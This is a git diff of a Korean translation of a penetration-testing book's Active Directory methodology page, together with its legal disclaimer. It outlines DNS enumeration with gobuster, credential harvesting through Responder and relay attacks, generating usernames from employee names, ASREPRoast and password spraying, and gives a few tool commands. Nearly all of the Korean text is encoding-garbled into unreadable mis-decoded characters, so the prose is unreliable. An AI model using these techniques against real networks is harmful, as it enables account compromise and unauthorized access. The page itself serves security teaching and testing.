ํฌํ•จํ•˜์—ฌ, ์ด ์ฑ…์˜ ์‚ฌ์šฉ๊ณผ ๊ด€๋ จํ•˜์—ฌ ๋ฐœ์ƒํ•˜๋Š” ๋ชจ๋“  ์†์‹ค์ด๋‚˜ ์†ํ•ด์— ๋Œ€ํ•ด ์–ด๋–ค ๊ฒฝ์šฐ์—๋„ ์ฑ…์ž„์„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +> ์ €์ž์™€ ์ถœํŒ์‚ฌ๋Š” ๋ฐ์ดํ„ฐ ์†์‹ค์ด๋‚˜ ์ด์ต ์†์‹ค๋กœ ์ธํ•ด ๋ฐœ์ƒํ•˜๋Š” ๋ชจ๋“  ์†์‹ค์ด๋‚˜ ์†ํ•ด, ๊ฐ„์ ‘์  ๋˜๋Š” ๊ฒฐ๊ณผ์  ์†์‹ค์ด๋‚˜ ์†ํ•ด๋ฅผ ํฌํ•จํ•˜์—ฌ ์–ด๋–ค ์†์‹ค์ด๋‚˜ ์†ํ•ด์— ๋Œ€ํ•ด์„œ๋„ ์ฑ…์ž„์„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. > -> ๋˜ํ•œ ์ด ์ฑ…์— ์„ค๋ช…๋œ ๊ธฐ์ˆ ๊ณผ ํŒ์€ ๊ต์œก ๋ฐ ์ •๋ณด ์ œ๊ณต ๋ชฉ์ ์œผ๋กœ๋งŒ ์ œ๊ณต๋˜๋ฉฐ, ๋ถˆ๋ฒ• ๋˜๋Š” ์•…์˜์ ์ธ ํ™œ๋™์— ์‚ฌ์šฉ๋˜์–ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค. ์ €์ž์™€ ์ถœํŒ์‚ฌ๋Š” ๋ถˆ๋ฒ• ๋˜๋Š” ๋น„์œค๋ฆฌ์ ์ธ ํ™œ๋™์„ ์šฉ์ธํ•˜๊ฑฐ๋‚˜ ์ง€์ง€ํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์ด ์ฑ…์— ํฌํ•จ๋œ ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ์‚ฌ์šฉ์ž์˜ ์œ„ํ—˜๊ณผ ์žฌ๋Ÿ‰์— ๋”ฐ๋ผ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. +> ๋˜ํ•œ ์ด ์ฑ…์— ์„ค๋ช…๋œ ๊ธฐ์ˆ ๊ณผ ํŒ์€ ๊ต์œก ๋ฐ ์ •๋ณด ์ œ๊ณต ๋ชฉ์ ์œผ๋กœ๋งŒ ์ œ๊ณต๋˜๋ฉฐ, ๋ถˆ๋ฒ• ๋˜๋Š” ์•…์˜์ ์ธ ํ™œ๋™์— ์‚ฌ์šฉ๋˜์–ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค. ์ €์ž์™€ ์ถœํŒ์‚ฌ๋Š” ๋ถˆ๋ฒ• ๋˜๋Š” ๋น„์œค๋ฆฌ์ ์ธ ํ™œ๋™์„ ์šฉ์ธํ•˜๊ฑฐ๋‚˜ ์ง€์ง€ํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์ด ์ฑ…์— ํฌํ•จ๋œ ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ์‚ฌ์šฉ์ž ์ž์‹ ์˜ ์œ„ํ—˜๊ณผ ์žฌ๋Ÿ‰์— ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. > > ์‚ฌ์šฉ์ž๋Š” ์ด ์ฑ…์— ํฌํ•จ๋œ ์ •๋ณด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ทจํ•œ ๋ชจ๋“  ํ–‰๋™์— ๋Œ€ํ•ด ์ „์ ์œผ๋กœ ์ฑ…์ž„์ด ์žˆ์œผ๋ฉฐ, ์ด ์ฑ…์— ์„ค๋ช…๋œ ๊ธฐ์ˆ ์ด๋‚˜ ํŒ์„ ๊ตฌํ˜„ํ•˜๋ ค๊ณ  ํ•  ๋•Œ ํ•ญ์ƒ ์ „๋ฌธ๊ฐ€์˜ ์กฐ์–ธ๊ณผ ๋„์›€์„ ๊ตฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. > diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 5e255d06b..b298c487d 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -4,26 +4,26 @@ ## Basic overview -**Active Directory**๋Š” **๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ์ž**๊ฐ€ **๋„๋ฉ”์ธ**, **์‚ฌ์šฉ์ž**, ๋ฐ **๊ฐ์ฒด**๋ฅผ ํšจ์œจ์ ์œผ๋กœ ์ƒ์„ฑํ•˜๊ณ  ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ธฐ๋ณธ ๊ธฐ์ˆ ๋กœ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํ™•์žฅ ๊ฐ€๋Šฅํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด, ๋งŽ์€ ์ˆ˜์˜ ์‚ฌ์šฉ์ž๋ฅผ ๊ด€๋ฆฌ ๊ฐ€๋Šฅํ•œ **๊ทธ๋ฃน** ๋ฐ **ํ•˜์œ„ ๊ทธ๋ฃน**์œผ๋กœ ์กฐ์งํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‹ค์–‘ํ•œ ์ˆ˜์ค€์—์„œ **์ ‘๊ทผ ๊ถŒํ•œ**์„ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค. +**Active Directory**๋Š” **๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ์ž**๊ฐ€ **๋„๋ฉ”์ธ**, **์‚ฌ์šฉ์ž**, ๋ฐ **๊ฐ์ฒด**๋ฅผ ํšจ์œจ์ ์œผ๋กœ ์ƒ์„ฑํ•˜๊ณ  ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ธฐ๋ณธ ๊ธฐ์ˆ ๋กœ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํ™•์žฅ ๊ฐ€๋Šฅํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด, ๋งŽ์€ ์ˆ˜์˜ ์‚ฌ์šฉ์ž๋ฅผ ๊ด€๋ฆฌ ๊ฐ€๋Šฅํ•œ **๊ทธ๋ฃน** ๋ฐ **ํ•˜์œ„ ๊ทธ๋ฃน**์œผ๋กœ ์กฐ์งํ•˜๊ณ , ๋‹ค์–‘ํ•œ ์ˆ˜์ค€์—์„œ **์ ‘๊ทผ ๊ถŒํ•œ**์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -**Active Directory**์˜ ๊ตฌ์กฐ๋Š” ์„ธ ๊ฐ€์ง€ ์ฃผ์š” ๊ณ„์ธต์œผ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค: **๋„๋ฉ”์ธ**, **ํŠธ๋ฆฌ**, ๋ฐ **ํฌ๋ฆฌ์ŠคํŠธ**. **๋„๋ฉ”์ธ**์€ ๊ณตํ†ต ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ณต์œ ํ•˜๋Š” **์‚ฌ์šฉ์ž** ๋˜๋Š” **์žฅ์น˜**์™€ ๊ฐ™์€ ๊ฐ์ฒด์˜ ๋ชจ์Œ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. **ํŠธ๋ฆฌ**๋Š” ๊ณต์œ  ๊ตฌ์กฐ๋กœ ์—ฐ๊ฒฐ๋œ ์ด๋Ÿฌํ•œ ๋„๋ฉ”์ธ์˜ ๊ทธ๋ฃน์ด๋ฉฐ, **ํฌ๋ฆฌ์ŠคํŠธ**๋Š” ์—ฌ๋Ÿฌ ํŠธ๋ฆฌ์˜ ๋ชจ์Œ์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, **์‹ ๋ขฐ ๊ด€๊ณ„**๋ฅผ ํ†ตํ•ด ์ƒํ˜ธ ์—ฐ๊ฒฐ๋˜์–ด ์กฐ์ง ๊ตฌ์กฐ์˜ ์ตœ์ƒ์œ„ ๊ณ„์ธต์„ ํ˜•์„ฑํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์ˆ˜์ค€์—์„œ ํŠน์ • **์ ‘๊ทผ** ๋ฐ **ํ†ต์‹  ๊ถŒํ•œ**์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**Active Directory**์˜ ๊ตฌ์กฐ๋Š” ์„ธ ๊ฐ€์ง€ ์ฃผ์š” ๊ณ„์ธต์œผ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค: **๋„๋ฉ”์ธ**, **ํŠธ๋ฆฌ**, ๋ฐ **ํฌ๋ฆฌ์ŠคํŠธ**. **๋„๋ฉ”์ธ**์€ ๊ณตํ†ต ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ณต์œ ํ•˜๋Š” **์‚ฌ์šฉ์ž** ๋˜๋Š” **์žฅ์น˜**์™€ ๊ฐ™์€ ๊ฐ์ฒด์˜ ๋ชจ์Œ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. **ํŠธ๋ฆฌ**๋Š” ๊ณต์œ  ๊ตฌ์กฐ๋กœ ์—ฐ๊ฒฐ๋œ ์ด๋Ÿฌํ•œ ๋„๋ฉ”์ธ ๊ทธ๋ฃน์ด๋ฉฐ, **ํฌ๋ฆฌ์ŠคํŠธ**๋Š” ์—ฌ๋Ÿฌ ํŠธ๋ฆฌ์˜ ๋ชจ์Œ์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, **์‹ ๋ขฐ ๊ด€๊ณ„**๋ฅผ ํ†ตํ•ด ์ƒํ˜ธ ์—ฐ๊ฒฐ๋˜์–ด ์กฐ์ง ๊ตฌ์กฐ์˜ ์ตœ์ƒ์œ„ ๊ณ„์ธต์„ ํ˜•์„ฑํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์ˆ˜์ค€์—์„œ ํŠน์ • **์ ‘๊ทผ** ๋ฐ **ํ†ต์‹  ๊ถŒํ•œ**์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **Active Directory**์˜ ์ฃผ์š” ๊ฐœ๋…์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: -1. **๋””๋ ‰ํ† ๋ฆฌ** โ€“ Active Directory ๊ฐ์ฒด์™€ ๊ด€๋ จ๋œ ๋ชจ๋“  ์ •๋ณด๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. +1. **๋””๋ ‰ํ† ๋ฆฌ** โ€“ Active Directory ๊ฐ์ฒด์™€ ๊ด€๋ จ๋œ ๋ชจ๋“  ์ •๋ณด๋ฅผ ๋ณด๊ด€ํ•ฉ๋‹ˆ๋‹ค. 2. **๊ฐ์ฒด** โ€“ ๋””๋ ‰ํ† ๋ฆฌ ๋‚ด์˜ ์—”ํ‹ฐํ‹ฐ๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉฐ, **์‚ฌ์šฉ์ž**, **๊ทธ๋ฃน**, ๋˜๋Š” **๊ณต์œ  ํด๋”**๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. 3. **๋„๋ฉ”์ธ** โ€“ ๋””๋ ‰ํ† ๋ฆฌ ๊ฐ์ฒด์˜ ์ปจํ…Œ์ด๋„ˆ ์—ญํ• ์„ ํ•˜๋ฉฐ, ์—ฌ๋Ÿฌ ๋„๋ฉ”์ธ์ด **ํฌ๋ฆฌ์ŠคํŠธ** ๋‚ด์—์„œ ๊ณต์กดํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฐ ๋„๋ฉ”์ธ์€ ์ž์ฒด ๊ฐ์ฒด ๋ชจ์Œ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. -4. **ํŠธ๋ฆฌ** โ€“ ๊ณตํ†ต ๋ฃจํŠธ ๋„๋ฉ”์ธ์„ ๊ณต์œ ํ•˜๋Š” ๋„๋ฉ”์ธ์˜ ๊ทธ๋ฃน์ž…๋‹ˆ๋‹ค. +4. **ํŠธ๋ฆฌ** โ€“ ๊ณตํ†ต ๋ฃจํŠธ ๋„๋ฉ”์ธ์„ ๊ณต์œ ํ•˜๋Š” ๋„๋ฉ”์ธ ๊ทธ๋ฃน์ž…๋‹ˆ๋‹ค. 5. **ํฌ๋ฆฌ์ŠคํŠธ** โ€“ Active Directory์˜ ์กฐ์ง ๊ตฌ์กฐ์˜ ์ •์ ์œผ๋กœ, ์—ฌ๋Ÿฌ ํŠธ๋ฆฌ๋กœ ๊ตฌ์„ฑ๋˜๋ฉฐ ์ด๋“ค ๊ฐ„์— **์‹ ๋ขฐ ๊ด€๊ณ„**๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. **Active Directory Domain Services (AD DS)**๋Š” ๋„คํŠธ์›Œํฌ ๋‚ด์—์„œ ์ค‘์•™ ์ง‘์ค‘์‹ ๊ด€๋ฆฌ ๋ฐ ํ†ต์‹ ์— ์ค‘์š”ํ•œ ๋‹ค์–‘ํ•œ ์„œ๋น„์Šค๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„œ๋น„์Šค๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: -1. **๋„๋ฉ”์ธ ์„œ๋น„์Šค** โ€“ ๋ฐ์ดํ„ฐ ์ €์žฅ์†Œ๋ฅผ ์ค‘์•™ ์ง‘์ค‘ํ™”ํ•˜๊ณ  **์‚ฌ์šฉ์ž**์™€ **๋„๋ฉ”์ธ** ๊ฐ„์˜ ์ƒํ˜ธ ์ž‘์šฉ์„ ๊ด€๋ฆฌํ•˜๋ฉฐ, **์ธ์ฆ** ๋ฐ **๊ฒ€์ƒ‰** ๊ธฐ๋Šฅ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. +1. **๋„๋ฉ”์ธ ์„œ๋น„์Šค** โ€“ ๋ฐ์ดํ„ฐ ์ €์žฅ์†Œ๋ฅผ ์ค‘์•™ ์ง‘์ค‘ํ™”ํ•˜๊ณ  **์‚ฌ์šฉ์ž**์™€ **๋„๋ฉ”์ธ** ๊ฐ„์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ๊ด€๋ฆฌํ•˜๋ฉฐ, **์ธ์ฆ** ๋ฐ **๊ฒ€์ƒ‰** ๊ธฐ๋Šฅ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. 2. **์ธ์ฆ์„œ ์„œ๋น„์Šค** โ€“ ์•ˆ์ „ํ•œ **๋””์ง€ํ„ธ ์ธ์ฆ์„œ**์˜ ์ƒ์„ฑ, ๋ฐฐํฌ ๋ฐ ๊ด€๋ฆฌ๋ฅผ ๊ฐ๋…ํ•ฉ๋‹ˆ๋‹ค. 3. **๊ฒฝ๋Ÿ‰ ๋””๋ ‰ํ† ๋ฆฌ ์„œ๋น„์Šค** โ€“ **LDAP ํ”„๋กœํ† ์ฝœ**์„ ํ†ตํ•ด ๋””๋ ‰ํ† ๋ฆฌ ์ง€์› ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. 4. **๋””๋ ‰ํ† ๋ฆฌ ์—ฐํ•ฉ ์„œ๋น„์Šค** โ€“ ์—ฌ๋Ÿฌ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๋‹จ์ผ ์„ธ์…˜์œผ๋กœ ์‚ฌ์šฉ์ž๋ฅผ ์ธ์ฆํ•  ์ˆ˜ ์žˆ๋Š” **์‹ฑ๊ธ€ ์‚ฌ์ธ์˜จ** ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. 5. **๊ถŒํ•œ ๊ด€๋ฆฌ** โ€“ ์ €์ž‘๊ถŒ ์ž๋ฃŒ๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด ๋ฌด๋‹จ ๋ฐฐํฌ ๋ฐ ์‚ฌ์šฉ์„ ๊ทœ์ œํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค๋‹ˆ๋‹ค. -6. **DNS ์„œ๋น„์Šค** โ€“ **๋„๋ฉ”์ธ ์ด๋ฆ„**์˜ ํ•ด์„์— ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. +6. **DNS ์„œ๋น„์Šค** โ€“ **๋„๋ฉ”์ธ ์ด๋ฆ„** ํ•ด์„์— ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์„ค๋ช…์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory) @@ -41,7 +41,7 @@ AD๋ฅผ ์—ด๊ฑฐ/์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋ช…๋ น์–ด๋ฅผ ๋น ๋ฅด๊ฒŒ ํ™• AD ํ™˜๊ฒฝ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ์ž๊ฒฉ ์ฆ๋ช…/์„ธ์…˜์ด ์—†๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - **๋„คํŠธ์›Œํฌ ํŽœํ…Œ์ŠคํŠธ:** -- ๋„คํŠธ์›Œํฌ๋ฅผ ์Šค์บ”ํ•˜๊ณ , ๊ธฐ๊ณ„์™€ ์—ด๋ฆฐ ํฌํŠธ๋ฅผ ์ฐพ์•„ **์ทจ์•ฝ์ ์„ ์•…์šฉ**ํ•˜๊ฑฐ๋‚˜ **์ž๊ฒฉ ์ฆ๋ช…**์„ ์ถ”์ถœํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: [ํ”„๋ฆฐํ„ฐ๋Š” ๋งค์šฐ ํฅ๋ฏธ๋กœ์šด ๋Œ€์ƒ์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค](ad-information-in-printers.md)). +- ๋„คํŠธ์›Œํฌ๋ฅผ ์Šค์บ”ํ•˜๊ณ , ๊ธฐ๊ณ„ ๋ฐ ์—ด๋ฆฐ ํฌํŠธ๋ฅผ ์ฐพ์•„ **์ทจ์•ฝ์ ์„ ์•…์šฉ**ํ•˜๊ฑฐ๋‚˜ **์ž๊ฒฉ ์ฆ๋ช…**์„ ์ถ”์ถœํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: [ํ”„๋ฆฐํ„ฐ๋Š” ๋งค์šฐ ํฅ๋ฏธ๋กœ์šด ๋Œ€์ƒ์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค](ad-information-in-printers.md)). - DNS๋ฅผ ์—ด๊ฑฐํ•˜๋ฉด ๋„๋ฉ”์ธ ๋‚ด์˜ ์ฃผ์š” ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ •๋ณด(์›น, ํ”„๋ฆฐํ„ฐ, ๊ณต์œ , VPN, ๋ฏธ๋””์–ด ๋“ฑ)๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` - ์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋ฅผ ์ฐพ์œผ๋ ค๋ฉด ์ผ๋ฐ˜ [**ํŽœํ…Œ์ŠคํŒ… ๋ฐฉ๋ฒ•๋ก **](../../generic-methodologies-and-resources/pentesting-methodology.md)์„ ์ฐธ์กฐํ•˜์„ธ์š”. @@ -67,9 +67,9 @@ AD ํ™˜๊ฒฝ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ์ž๊ฒฉ ์ฆ๋ช…/์„ธ์…˜์ด ์—†๋Š” ๊ฒฝ์šฐ ๋‹ค - [**Responder๋กœ ์„œ๋น„์Šค๋ฅผ ๊ฐ€์žฅํ•˜์—ฌ ์ž๊ฒฉ ์ฆ๋ช… ์ˆ˜์ง‘**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - [**๋ฆด๋ ˆ์ด ๊ณต๊ฒฉ์„ ์•…์šฉํ•˜์—ฌ ํ˜ธ์ŠคํŠธ์— ์ ‘๊ทผ**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) - [**์•…์„ฑ UPnP ์„œ๋น„์Šค ๋…ธ์ถœ๋กœ ์ž๊ฒฉ ์ฆ๋ช… ์ˆ˜์ง‘**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) -- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): +- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): - ๋‚ด๋ถ€ ๋ฌธ์„œ, ์†Œ์…œ ๋ฏธ๋””์–ด, ์„œ๋น„์Šค(์ฃผ๋กœ ์›น)์—์„œ ์‚ฌ์šฉ์ž ์ด๋ฆ„/์ด๋ฆ„์„ ์ถ”์ถœํ•˜๊ณ  ๊ณต๊ฐœ์ ์œผ๋กœ ์ด์šฉ ๊ฐ€๋Šฅํ•œ ์ž๋ฃŒ์—์„œ๋„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. -- ํšŒ์‚ฌ ์ง์›์˜ ์ „์ฒด ์ด๋ฆ„์„ ์ฐพ์œผ๋ฉด ๋‹ค์–‘ํ•œ AD **์‚ฌ์šฉ์ž ์ด๋ฆ„ ๊ทœ์น™**์„ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (**[์ด๊ฒƒ์„ ์ฝ์–ด๋ณด์„ธ์š”](https://activedirectorypro.com/active-directory-user-naming-convention/)**). ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ๊ทœ์น™์€: _NameSurname_, _Name.Surname_, _NamSur_ (๊ฐ๊ฐ 3๊ธ€์ž), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _๋ฌด์ž‘์œ„ ๋ฌธ์ž์™€ 3 ๋ฌด์ž‘์œ„ ์ˆซ์ž_ (abc123)์ž…๋‹ˆ๋‹ค. +- ํšŒ์‚ฌ ์ง์›์˜ ์ „์ฒด ์ด๋ฆ„์„ ์ฐพ์œผ๋ฉด ๋‹ค์–‘ํ•œ AD **์‚ฌ์šฉ์ž ์ด๋ฆ„ ๊ทœ์น™**์„ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (**[์ฝ์–ด๋ณด์„ธ์š”](https://activedirectorypro.com/active-directory-user-naming-convention/)**). ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ๊ทœ์น™์€: _NameSurname_, _Name.Surname_, _NamSur_ (๊ฐ๊ฐ 3๊ธ€์ž), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _๋ฌด์ž‘์œ„ ๋ฌธ์ž์™€ 3 ๋ฌด์ž‘์œ„ ์ˆซ์ž_ (abc123)์ž…๋‹ˆ๋‹ค. - ๋„๊ตฌ: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) @@ -105,13 +105,13 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password > [!WARNING] > ์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋ชฉ๋ก์€ [**์ด github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ๋ฐ ์ด๊ณณ ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. > -> ๊ทธ๋Ÿฌ๋‚˜ ์ด ์ „์— ์ˆ˜ํ–‰ํ–ˆ์–ด์•ผ ํ•  ์ •์ฐฐ ๋‹จ๊ณ„์—์„œ **ํšŒ์‚ฌ์˜ ์ง์› ์ด๋ฆ„**์„ ์•Œ๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฆ„๊ณผ ์„ฑ์ด ์žˆ์œผ๋ฉด [**namemash.py**](https://gist.github.com/superkojiman/11076951) ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž ์žฌ์ ์ธ ์œ ํšจ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +> ๊ทธ๋Ÿฌ๋‚˜ ์ด ์ „์— ์ˆ˜ํ–‰ํ–ˆ์–ด์•ผ ํ•  ์ •์ฐฐ ๋‹จ๊ณ„์—์„œ **ํšŒ์‚ฌ์˜ ์ง์› ์ด๋ฆ„**์„ ์•Œ๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฆ„๊ณผ ์„ฑ์„ ๊ฐ€์ง€๊ณ  [**namemash.py**](https://gist.github.com/superkojiman/11076951) ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž ์žฌ์ ์ธ ์œ ํšจ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### ํ•˜๋‚˜ ์ด์ƒ์˜ ์‚ฌ์šฉ์ž ์ด๋ฆ„ ์•Œ๊ธฐ ์ข‹์Šต๋‹ˆ๋‹ค, ์ด๋ฏธ ์œ ํšจํ•œ ์‚ฌ์šฉ์ž ์ด๋ฆ„์ด ์žˆ์ง€๋งŒ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์—†๋‹ค๋ฉด... ๋‹ค์Œ์„ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”: -- [**ASREPRoast**](asreproast.md): ์‚ฌ์šฉ์ž๊ฐ€ _DONT_REQ_PREAUTH_ ์†์„ฑ์ด **์—†๋‹ค๋ฉด**, ํ•ด๋‹น ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ **AS_REP ๋ฉ”์‹œ์ง€**๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ๋ฉ”์‹œ์ง€์—๋Š” ์‚ฌ์šฉ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ํŒŒ์ƒ์œผ๋กœ ์•”ํ˜ธํ™”๋œ ๋ฐ์ดํ„ฐ๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. +- [**ASREPRoast**](asreproast.md): ์‚ฌ์šฉ์ž๊ฐ€ _DONT_REQ_PREAUTH_ ์†์„ฑ์ด **์—†๋‹ค๋ฉด**, ํ•ด๋‹น ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ **AS_REP ๋ฉ”์‹œ์ง€ ์š”์ฒญ**์„ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ๋ฉ”์‹œ์ง€๋Š” ์‚ฌ์šฉ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ํŒŒ์ƒ์œผ๋กœ ์•”ํ˜ธํ™”๋œ ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. - [**Password Spraying**](password-spraying.md): ๋ฐœ๊ฒฌ๋œ ๊ฐ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•ด ๊ฐ€์žฅ **์ผ๋ฐ˜์ ์ธ ๋น„๋ฐ€๋ฒˆํ˜ธ**๋ฅผ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”. ์•„๋งˆ๋„ ์–ด๋–ค ์‚ฌ์šฉ์ž๊ฐ€ ๋‚˜์œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค (๋น„๋ฐ€๋ฒˆํ˜ธ ์ •์ฑ…์„ ์—ผ๋‘์— ๋‘์„ธ์š”!). - OWA ์„œ๋ฒ„๋ฅผ **์Šคํ”„๋ ˆ์ด**ํ•˜์—ฌ ์‚ฌ์šฉ์ž ๋ฉ”์ผ ์„œ๋ฒ„์— ์ ‘๊ทผ์„ ์‹œ๋„ํ•  ์ˆ˜๋„ 